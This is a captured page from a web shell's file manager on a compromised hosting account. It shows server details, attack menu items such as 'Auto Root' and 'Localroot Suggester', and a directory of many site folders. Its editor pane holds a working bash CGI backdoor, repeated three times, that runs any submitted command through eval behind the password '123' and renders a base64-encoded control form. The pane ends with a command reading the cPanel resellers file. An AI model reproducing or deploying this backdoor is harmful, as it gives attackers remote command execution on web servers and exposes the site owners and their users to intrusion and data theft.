Linux srv25.usacloudserver.us 5.14.0-570.39.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Sep 4 05:08:52 EDT 2025 x86_64
LiteSpeed
Server IP : 23.137.84.82 & Your IP : 216.73.216.127
Domains :
Cant Read [ /etc/named.conf ]
User : epicgamerzoneco
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
epicgamerzoneco /
Delete
Unzip
Name
Size
Permission
Date
Action
.cagefs
[ DIR ]
drwxrwx--x
2025-06-11 18:46
.caldav
[ DIR ]
drwxr-xr-x
2025-06-11 18:43
.cl.selector
[ DIR ]
drwxr-xr-x
2025-09-03 07:59
.clwpos
[ DIR ]
drwx------
2025-06-27 05:15
.cpaddons
[ DIR ]
drwxr-xr-x
2025-09-03 13:27
.cpanel
[ DIR ]
drwx------
2025-11-10 07:17
.htpasswds
[ DIR ]
drwxr-x---
2025-07-02 04:43
.koality
[ DIR ]
drwxr-xr-x
2025-06-11 18:46
.razor
[ DIR ]
drwxr-xr-x
2025-11-06 13:18
.softaculous
[ DIR ]
drwx--x--x
2025-10-02 04:27
.spamassassin
[ DIR ]
drwx------
2025-11-06 13:18
.subaccounts
[ DIR ]
drwx------
2025-09-01 18:33
.trash
[ DIR ]
drwx------
2025-09-04 01:41
.wp-cli
[ DIR ]
drwxr-xr-x
2025-07-01 10:38
access-logs
[ DIR ]
drwxr-x---
2025-11-09 12:00
arcadekingdom.co.uk
[ DIR ]
drwxr-xr-x
2025-10-23 22:36
battlepixels.co.uk
[ DIR ]
drwxr-x---
2025-11-03 07:26
beautifulhomeideas.co.uk
[ DIR ]
drwxr-x---
2025-10-23 22:36
botanicnest.co.uk
[ DIR ]
drwxr-xr-x
2025-10-23 22:36
bountygameindia.com
[ DIR ]
drwxr-xr-x
2025-11-01 07:09
britnewsbulletin.co.uk
[ DIR ]
drwxr-x---
2025-11-02 21:12
businesssuccesspath.co.uk
[ DIR ]
drwxr-x---
2025-10-24 01:07
comfortlivinguk.co.uk
[ DIR ]
drwxr-xr-x
2025-10-23 22:36
corporatesuccessplan.co.uk
[ DIR ]
drwxr-xr-x
2025-10-24 01:07
cozylifestyleuk.co.uk
[ DIR ]
drwxr-xr-x
2025-10-23 22:36
dreamyhousedesigns.co.uk
[ DIR ]
drwxr-x---
2025-10-23 22:36
enterprisegrowthhub.co.uk
[ DIR ]
drwxr-xr-x
2025-10-23 22:36
entrepreneurialmindset.co.uk
[ DIR ]
drwxr-x---
2025-10-24 01:07
etc
[ DIR ]
drwxr-x---
2025-09-21 19:53
eveningnewsdigest.co.uk
[ DIR ]
drwxr-x---
2025-10-24 01:07
floraessence.co.uk
[ DIR ]
drwxr-x---
2025-11-10 06:43
gamerodyssey.co.uk
[ DIR ]
drwxr-xr-x
2025-10-23 22:36
gamextremeuk.co.uk
[ DIR ]
drwxr-x---
2025-10-24 01:07
greenalchemy.co.uk
[ DIR ]
drwxr-x---
2025-10-23 22:36
groupwink.com
[ DIR ]
drwxr-x---
2025-10-24 01:07
herbaura.co.uk
[ DIR ]
drwxr-xr-x
2025-10-23 22:36
herbhavenuk.co.uk
[ DIR ]
drwxr-x---
2025-10-31 07:52
herbsageuk.co.uk
[ DIR ]
drwxr-xr-x
2025-10-23 22:36
herbsymphony.co.uk
[ DIR ]
drwxr-xr-x
2025-10-23 22:36
herbwhisper.co.uk
[ DIR ]
drwxr-x---
2025-11-04 01:18
homedecorexperts.co.uk
[ DIR ]
drwxr-xr-x
2025-11-04 04:14
innovativebizideas.co.uk
[ DIR ]
drwxr-xr-x
2025-10-23 22:37
joystickmasters.co.uk
[ DIR ]
drwxr-x---
2025-10-23 22:37
kingssquare.info
[ DIR ]
drwxr-xr-x
2025-10-27 15:46
leveluphaven.co.uk
[ DIR ]
drwxr-xr-x
2025-10-23 22:37
logs
[ DIR ]
drwx------
2025-11-09 13:30
londonlatestnews.co.uk
[ DIR ]
drwxr-x---
2025-10-24 01:07
lscache
[ DIR ]
drwxrws---
2025-09-02 07:58
luxuryhomenest.co.uk
[ DIR ]
drwxr-x---
2025-11-03 16:43
mail
[ DIR ]
drwxr-x--x
2025-11-10 07:38
marketleadersuk.co.uk
[ DIR ]
drwxr-x---
2025-10-23 22:37
meetmuri.com
[ DIR ]
drwxr-x---
2025-10-23 22:37
modernhomevibes.co.uk
[ DIR ]
drwxr-x---
2025-10-23 22:37
morningnewsround.co.uk
[ DIR ]
drwxr-xr-x
2025-10-24 01:07
nationwidereport.co.uk
[ DIR ]
drwxr-x---
2025-10-24 01:07
naturenectar.co.uk
[ DIR ]
drwxr-xr-x
2025-11-10 06:56
nextgenarcade.co.uk
[ DIR ]
drwxr-x---
2025-10-23 22:37
perfecthomesolution.co.uk
[ DIR ]
drwxr-x---
2025-10-24 01:07
professionalbizworld.co.uk
[ DIR ]
drwxr-x---
2025-10-24 01:07
public_ftp
[ DIR ]
drwxr-x---
2025-09-08 06:06
public_html
[ DIR ]
drwxr-x---
2025-10-02 04:27
questlegends.co.uk
[ DIR ]
drwxr-xr-x
2025-10-24 01:07
smartechhub.co.uk
[ DIR ]
drwxr-x---
2025-11-01 04:41
smarttradesolutionss.co.uk
[ DIR ]
drwxr-xr-x
2025-10-23 22:37
softaculous_backups
[ DIR ]
drwx--x--x
2025-10-02 04:27
ssl
[ DIR ]
drwxr-xr-x
2025-11-07 13:21
strategicbrandinguk.co.uk
[ DIR ]
drwxr-x---
2025-10-23 22:37
techempiree.co.uk
[ DIR ]
drwxr-x---
2025-10-23 22:37
technovaaa.co.uk
[ DIR ]
drwxr-x---
2025-10-23 22:37
techwizardd.co.uk
[ DIR ]
drwxr-x---
2025-10-23 22:37
theuknewsroom.co.uk
[ DIR ]
drwxr-x---
2025-10-24 01:07
tmp
[ DIR ]
drwxr-xr-x
2025-09-04 01:42
topstoriesbritain.co.uk
[ DIR ]
drwxr-x---
2025-10-24 01:07
ukheadlinehub.co.uk
[ DIR ]
drwxr-xr-x
2025-10-23 22:32
ultimatelivingspace.co.uk
[ DIR ]
drwxr-x---
2025-10-23 22:31
verdantherbs.co.uk
[ DIR ]
drwxr-xr-x
2025-10-23 22:34
virtualarenauk.co.uk
[ DIR ]
drwxr-x---
2025-10-24 01:07
wordpress
[ DIR ]
drwxr-xr-x
2025-09-02 07:58
wordpress-backups
[ DIR ]
drwx------
2025-07-05 08:00
www
[ DIR ]
drwxr-x---
2025-10-02 04:27
.bash_history
12.46
KB
-rw-------
2025-10-20 09:14
.bash_logout
18
B
-rw-r--r--
2025-06-11 18:43
.bash_profile
141
B
-rw-r--r--
2025-06-11 18:43
.bashrc
492
B
-rw-r--r--
2025-06-11 18:43
.gemrc
146
B
-rw-r--r--
2025-06-11 18:43
.imunify_patch_id
106
B
-rw-r--r--
2025-06-11 19:31
.lastlogin
637
B
-rw-------
2025-09-19 16:05
.myimunify_id
102
B
-rw-r--r--
2025-06-11 19:29
.spamassassinboxenable
0
B
-rw-r--r--
2025-06-11 18:43
.spamassassinenable
0
B
-rw-r--r--
2025-06-11 18:43
.user.ini
597
B
-rw-r--r--
2025-07-06 07:54
.wp-toolkit-identifier
684
B
-rw-------
2025-09-02 09:38
php.ini
591
B
-rw-r--r--
2025-07-06 07:54
wp-blog-header.php
2.73
KB
-r--r--r--
2025-09-02 07:58
wp-cron.php
2.73
KB
-rw-r--r--
2025-09-02 07:58
Save
Rename
#1760951697 #!/bin/bash -i #1760951697 # #1760951697 password="123" #1760951697 function cgi_get_POST_vars() { [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && echo "Warning: you should probably use MIME type " "application/x-www-form-urlencoded!" 1>&2 [ -z "$QUERY_STRING_POST" -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && read -n $CONTENT_LENGTH QUERY_STRING_POST; return; } #1760951697 function cgi_decodevar() { [ $# -ne 1 ] && return; local v t h t="${1//+/ }%%"; while [ ${#t} -gt 0 -a "${t}" != "%" ]; do v="${v}${t%%\%*}" ; t="${t#*%}" if [ ${#t} -gt 0 -a "${t}" != "%" ]; then h=${t:0:2} ; t="${t:2}" ; v="${v}"`echo -e \\\\x${h}` ; fi; done echo "${v}"; return; } #1760951697 function cgi_getvars() { [ $# -lt 2 ] && return; local q p k v s case $1 in GET) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; ;; POST) cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; ;; BOTH) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; ;; esac; shift; s=" $* " while [ ! -z "$q" ]; do p="${q%%&*}" # get first part of query string k="${p%%=*}" # get the key (variable name) from it v="${p#*=}" # get the value from it q="${q#$p&*}" # strip first part from query string [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && eval "$k=\"`cgi_decodevar \"$v\"`\""; done; return; } #1760951697 # register all GET and POST variables #1760951697 cgi_getvars BOTH ALL #1760951697 pass="SAVEDPWD=$password" #1760951697 passv=`echo $HTTP_COOKIE | awk '$pass|' -f0` #1760951697 if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo '<meta http-equiv="refresh" content="0;">'; exit; else if [ -n "$xx" ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo '<meta http-equiv="refresh" content="0;">'; else echo -e "Content-type: text/html\n\n"; fi fi #1760951697 echo 'PGh0bWw+PHRpdGxlPldvcmtpbmc8L3RpdGxlPgo8aGVhZD4KPHN0eWxlPgoKYm9keQp7CgliYWNrZ3JvdW5kOiAjMzMzOwoJY29sb3I6ICNGNUY1RjU7CgoJcGFkZGluZzogMTBweDsKCn0KCgphOmxpbmssIGJvZHlfYWxpbmsKewoJY29sb3I6ICNGRjk5MzM7Cgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KYTp2aXNpdGVkLCBib2R5X2F2aXNpdGVkCnsKCWNvbG9yOiAjRkY5OTMzOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CmE6aG92ZXIsIGE6YWN0aXZlLCBib2R5X2Fob3Zlcgp7Cgljb2xvcjogI0ZGRkZGRjsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQoKdGV4dGFyZWEKewoJYm9yZGVyOiAxcHggc29saWQ7CgljdXJzb3I6IGRlZmF1bHQ7CgkKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KCmlucHV0CnsKCWJvcmRlcjogMXB4IHNvbGlkOwoJY3Vyc29yOiBkZWZhdWx0OwoJb3ZlcmZsb3c6IGhpZGRlbjsKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KaW5wdXQuYnV0dG9uIHsKZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3Owpjb2xvcjogI2ZmZmZmZjsKZm9udC1zaXplOiAxNnB4OwpwYWRkaW5nOiAxMHB4Owp0ZXh0LWRlY29yYXRpb246IG5vbmU7Ci13ZWJraXQtYm9yZGVyLXJhZGl1czogOHB4OwotbW96LWJvcmRlci1yYWRpdXM6IDhweDsKLXdlYmtpdC1ib3gtc2hhZG93OiAwcHggMXB4IDNweCAjYWJhYmFiOwotbW96LWJveC1zaGFkb3c6IDBweCAxcHggM3B4ICNhYmFiYWI7CnRleHQtc2hhZG93OiAxcHggMXB4IDNweCAjNjY2NjY2Owpib3JkZXI6IHNvbGlkICNkZWRiZGUgMXB4OwpiYWNrZ3JvdW5kOiAjOTA5MDkwIDsKfQouYnV0dG9uOmhvdmVyIHsKYmFja2dyb3VuZDogI0IwQjBCMDsKfQoKIGRpdi5ib3gKewpjb2xvcjogIzMzMzsKYm9yZGVyOjNweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjEwcHggNDBweDsgCmJhY2tncm91bmQ6I2U4ZThlODsKd2lkdGg6OTQlOwpib3JkZXItcmFkaXVzOjI1cHg7Ci1tb3otYm9yZGVyLXJhZGl1czoyNXB4OyAvKiBGaXJlZm94IDMuNiBhbmQgZWFybGllciAqLwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CjxjZW50ZXI+CjxwcmU+CjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly9kLnRvcDR0b3AubmV0L3BfMjQ5YTRpajEucG5nIj48L2NlbnRlcj4KPC9wcmU+Cgo8ZGl2IGFsaWduPSJjZW50ZXIiPg==' | base64 -d #1760951697 if [ -n "$cc" ] ; then echo "<table border='0' width='100%'><tr><td align='center'><div class='box' align='left'><xmp>"; cd $d ; eval $cc; echo "<cmd>$?<cmd>"; echo '</xmp></div></pre></td></tr></table><br><br>'; fi #1760951697 echo 'PGJyPjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCQ0KCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCTxkaXYgYWxpZ249ImNlbnRlciI+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEyMCIgaWQ9InRhYmxlMSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj48dHI+PHRkIHdpZHRoPSI3MTIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjYyIgc2l6ZT0iMTAwIiAgLz48L3RkPjx0ZD48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iNzEyIj4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkIiBzaXplPSIxMDAiIHZhbHVlPSI=' | base64 -d #1760951697 pwd #1760951697 echo 'Ii8+CjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ1dHRvbjEiIHZhbHVlPSJT ZW5kIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PjwvZm9ybT48YnI+PGJyPgo8YnI+PGJyPjxo cj48Y2VudGVyPgo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KCQoJPGZvcm0gbWV0aG9k PSJwb3N0IiBhY3Rpb249IiI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjYzIiIHZhbHVl PSI0IiAgLz4KCQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ1dHRvbiIgbmFtZT0iYnV0 dG9uIiB2YWx1ZT0iTG9nb3V0IiAvPgoJPC9mb3JtPg==' | base64 -d #1760951697 #!/bin/bash -i #1760951697 # #1760951697 password="123" #1760951697 function cgi_get_POST_vars() { [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && echo "Warning: you should probably use MIME type " "application/x-www-form-urlencoded!" 1>&2 [ -z "$QUERY_STRING_POST" -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && read -n $CONTENT_LENGTH QUERY_STRING_POST; return; } #1760951697 function cgi_decodevar() { [ $# -ne 1 ] && return; local v t h t="${1//+/ }%%"; while [ ${#t} -gt 0 -a "${t}" != "%" ]; do v="${v}${t%%\%*}" ; t="${t#*%}" if [ ${#t} -gt 0 -a "${t}" != "%" ]; then h=${t:0:2} ; t="${t:2}" ; v="${v}"`echo -e \\\\x${h}` ; fi; done echo "${v}"; return; } #1760951697 function cgi_getvars() { [ $# -lt 2 ] && return; local q p k v s case $1 in GET) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; ;; POST) cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; ;; BOTH) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; ;; esac; shift; s=" $* " while [ ! -z "$q" ]; do p="${q%%&*}" # get first part of query string k="${p%%=*}" # get the key (variable name) from it v="${p#*=}" # get the value from it q="${q#$p&*}" # strip first part from query string [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && eval "$k=\"`cgi_decodevar \"$v\"`\""; done; return; } #1760951697 # register all GET and POST variables #1760951697 cgi_getvars BOTH ALL #1760951697 pass="SAVEDPWD=$password" #1760951697 passv=`echo $HTTP_COOKIE | awk '$pass|' -f0` #1760951697 if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo '<meta http-equiv="refresh" content="0;">'; exit; else if [ -n "$xx" ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo '<meta http-equiv="refresh" content="0;">'; else echo -e "Content-type: text/html\n\n"; fi fi #1760951697 echo 'PGh0bWw+PHRpdGxlPldvcmtpbmc8L3RpdGxlPgo8aGVhZD4KPHN0eWxlPgoKYm9keQp7CgliYWNrZ3JvdW5kOiAjMzMzOwoJY29sb3I6ICNGNUY1RjU7CgoJcGFkZGluZzogMTBweDsKCn0KCgphOmxpbmssIGJvZHlfYWxpbmsKewoJY29sb3I6ICNGRjk5MzM7Cgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KYTp2aXNpdGVkLCBib2R5X2F2aXNpdGVkCnsKCWNvbG9yOiAjRkY5OTMzOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CmE6aG92ZXIsIGE6YWN0aXZlLCBib2R5X2Fob3Zlcgp7Cgljb2xvcjogI0ZGRkZGRjsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQoKdGV4dGFyZWEKewoJYm9yZGVyOiAxcHggc29saWQ7CgljdXJzb3I6IGRlZmF1bHQ7CgkKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KCmlucHV0CnsKCWJvcmRlcjogMXB4IHNvbGlkOwoJY3Vyc29yOiBkZWZhdWx0OwoJb3ZlcmZsb3c6IGhpZGRlbjsKCWJhY2tncm91bmQ6ICMwMDA7Cgljb2xvcjogI2ZmZmZmZjsKYm9yZGVyOjFweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjVweCAyMHB4OyAKYm9yZGVyLXJhZGl1czoyNXB4OwotbW96LWJvcmRlci1yYWRpdXM6MjVweDsgLyogRmlyZWZveCAzLjYgYW5kIGVhcmxpZXIgKi8KCn0KaW5wdXQuYnV0dG9uIHsKZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3Owpjb2xvcjogI2ZmZmZmZjsKZm9udC1zaXplOiAxNnB4OwpwYWRkaW5nOiAxMHB4Owp0ZXh0LWRlY29yYXRpb246IG5vbmU7Ci13ZWJraXQtYm9yZGVyLXJhZGl1czogOHB4OwotbW96LWJvcmRlci1yYWRpdXM6IDhweDsKLXdlYmtpdC1ib3gtc2hhZG93OiAwcHggMXB4IDNweCAjYWJhYmFiOwotbW96LWJveC1zaGFkb3c6IDBweCAxcHggM3B4ICNhYmFiYWI7CnRleHQtc2hhZG93OiAxcHggMXB4IDNweCAjNjY2NjY2Owpib3JkZXI6IHNvbGlkICNkZWRiZGUgMXB4OwpiYWNrZ3JvdW5kOiAjOTA5MDkwIDsKfQouYnV0dG9uOmhvdmVyIHsKYmFja2dyb3VuZDogI0IwQjBCMDsKfQoKIGRpdi5ib3gKewpjb2xvcjogIzMzMzsKYm9yZGVyOjNweCBzb2xpZCAjYTFhMWExOwpwYWRkaW5nOjEwcHggNDBweDsgCmJhY2tncm91bmQ6I2U4ZThlODsKd2lkdGg6OTQlOwpib3JkZXItcmFkaXVzOjI1cHg7Ci1tb3otYm9yZGVyLXJhZGl1czoyNXB4OyAvKiBGaXJlZm94IDMuNiBhbmQgZWFybGllciAqLwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CjxjZW50ZXI+CjxwcmU+CjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly9kLnRvcDR0b3AubmV0L3BfMjQ5YTRpajEucG5nIj48L2NlbnRlcj4KPC9wcmU+Cgo8ZGl2IGFsaWduPSJjZW50ZXIiPg==' | base64 -d #1760951697 if [ -n "$cc" ] ; then echo "<table border='0' width='100%'><tr><td align='center'><div class='box' align='left'><xmp>"; cd $d ; eval $cc; echo "<cmd>$?<cmd>"; echo '</xmp></div></pre></td></tr></table><br><br>'; fi #1760951697 echo 'PGJyPjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCQ0KCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCTxkaXYgYWxpZ249ImNlbnRlciI+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEyMCIgaWQ9InRhYmxlMSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj48dHI+PHRkIHdpZHRoPSI3MTIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjYyIgc2l6ZT0iMTAwIiAgLz48L3RkPjx0ZD48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iNzEyIj4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkIiBzaXplPSIxMDAiIHZhbHVlPSI=' | base64 -d #1760951697 pwd #1760951697 echo 'Ii8+CjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ1dHRvbjEiIHZhbHVlPSJT ZW5kIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PjwvZm9ybT48YnI+PGJyPgo8YnI+PGJyPjxo cj48Y2VudGVyPgo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KCQoJPGZvcm0gbWV0aG9k PSJwb3N0IiBhY3Rpb249IiI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjYzIiIHZhbHVl PSI0IiAgLz4KCQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ1dHRvbiIgbmFtZT0iYnV0 dG9uIiB2YWx1ZT0iTG9nb3V0IiAvPgoJPC9mb3JtPg==' | base64 -d #1760951697 #!/bin/bash -i #1760951697 # #1760951697 password="123" #1760951697 function cgi_get_POST_vars() { [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && echo "Warning: you should probably use MIME type " "application/x-www-form-urlencoded!" 1>&2 [ -z "$QUERY_STRING_POST" -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && read -n $CONTENT_LENGTH QUERY_STRING_POST; return; } #1760951697 function cgi_decodevar() { [ $# -ne 1 ] && return; local v t h t="${1//+/ }%%"; while [ ${#t} -gt 0 -a "${t}" != "%" ]; do v="${v}${t%%\%*}" ; t="${t#*%}" if [ ${#t} -gt 0 -a "${t}" != "%" ]; then h=${t:0:2} ; t="${t:2}" ; v="${v}"`echo -e \\\\x${h}` ; fi; done echo "${v}"; return; } #1760951697 function cgi_getvars() { [ $# -lt 2 ] && return; local q p k v s case $1 in GET) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; ;; POST) cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"; ;; BOTH) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"; cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"; ;; esac; shift; s=" $* " while [ ! -z "$q" ]; do p="${q%%&*}" # get first part of query string k="${p%%=*}" # get the key (variable name) from it v="${p#*=}" # get the value from it q="${q#$p&*}" # strip first part from query string [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && eval "$k=\"`cgi_decodevar \"$v\"`\""; done; return; } #1760951697 # register all GET and POST variables #1760951697 cgi_getvars BOTH ALL #1760951697 pass="SAVEDPWD=$password" #1760951697 passv=`echo $HTTP_COOKIE | awk '$pass|' -f0` #1760951697 if [ $cc2 -eq 4 ] ; then clear; echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"; echo '<meta http-equiv="refresh" content="0;">'; exit; else if [ -n "$xx" ] ; then echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"; echo '<meta http-equiv="refresh" content="0;">'; else echo -e "Content-type: text/html\n\n"; fi fi #1760951697 echo 'PGh0bWw+PHRpdGxlPldvcmtpbmc8L3RpdGxlPjwvaHRtbD4=' | base64 -d #1760951697 cat /var/cpanel/resellers